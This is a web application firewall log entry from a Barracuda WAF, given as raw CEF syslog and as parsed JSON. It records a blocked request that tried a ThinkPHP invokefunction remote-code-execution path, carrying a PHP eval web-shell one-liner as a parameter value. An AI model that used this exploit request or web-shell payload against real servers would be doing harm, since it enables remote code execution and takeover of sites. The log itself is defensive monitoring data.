<185>Jun 19 19:38:10 WAFirewall CEF:0|Barracuda|WAF|1220|159|OS_CMD_INJECTION_IN_PARAM|1|cat=WF dst=81.100.223.115 dpt=443 act=DENY msg=[type\="os-command-injection" pattern\="unix-shell-command-substrings" token\="@eval($_POST\\['hm147258'\\])" Parameter\="vars\\[1\\]\\[1\\]" value\="<?php @eval($_POST\\['hm147258'\\]);?>"] duser="-" src=207.167.44.8 spt=55957 requestMethod=GET app=TLSv1.2 requestContext=https://uweb1.unitedwayeservice.org//index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_p start=Jun 19 2024 19:38:10  rt=1718843890775  request=//index.php requestClientApplication="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" dvchost=WAFirewall externalId=19033145c57-42a6c9e1 cn2=55957 cn2Label=ProxyPort cs1=security-policy cs1Label=RuleID cs2=NONE cs2Label=FollowUpAction cs3=GLOBAL cs3Label=RuleType cs4=Injection Attacks cs4Label=AttackGroup cs5=207.167.44.8 cs5Label=ProxyIP cs6="-" cs6Label=SessionID 

{
    "action": "block",
    "clientport": 55957,
    "facilitycode": 23,
    "facilitylabel": "local7",
    "fqdn": "//index.php",
    "localhostname": "WAFirewall",
    "localstarttime": "1718843890775 ",
    "message": "<185>Jun 19 19:38:10 WAFirewall CEF:0|Barracuda|WAF|1220|159|OS_CMD_INJECTION_IN_PARAM|1|cat=WF dst=81.100.223.115 dpt=443 act=DENY msg=[type\\=\"os-command-injection\" pattern\\=\"unix-shell-command-substrings\" token\\=\"@eval($_POST\\\\['hm147258'\\\\])\" Parameter\\=\"vars\\\\[1\\\\]\\\\[1\\\\]\" value\\=\"<?php @eval($_POST\\\\['hm147258'\\\\]);?>\"] duser=\"-\" src=207.167.44.8 spt=55957 requestMethod=GET app=TLSv1.2 requestContext=https://uweb1.unitedwayeservice.org//index.php?s=index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=file_p start=Jun 19 2024 19:38:10  rt=1718843890775  request=//index.php requestClientApplication=\"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\" dvchost=WAFirewall externalId=19033145c57-42a6c9e1 cn2=55957 cn2Label=ProxyPort cs1=security-policy cs1Label=RuleID cs2=NONE cs2Label=FollowUpAction cs3=GLOBAL cs3Label=RuleType cs4=Injection Attacks cs4Label=AttackGroup cs5=207.167.44.8 cs5Label=ProxyIP cs6=\"-\" cs6Label=SessionID \n",
    "messagetype": "OS_CMD_INJECTION_IN_PARAM",
    "priority": 185,
    "senderhost": "10.0.0.250",
    "sensitivity": "normal",
    "serverport": 443,
    "severitycode": 9,
    "severitylabel": "alert",
    "sourceinfo": "unknown",
    "tags": [
        "barracuda_waf_OS_CMD_INJECTION_IN_PARAM",
        "barracuda_waf",
        "cef",
        "FollowUpAction:NONE",
        "OS_CMD_INJECTION_IN_PARAM",
        "RuleType:GLOBAL",
        "ProxyIP:209.141.47.98",
        "AttackGroup:Injection Attacks",
        "rfc3164",
        "RuleID:security-policy",
        "SessionID:-"
    ],
    "vendorcode": "159",
    "streamName": "barracuda_waf",
    "clientIP": "207.167.44.8",
    "serverIP": "81.100.223.115",
    "userName": "-"
}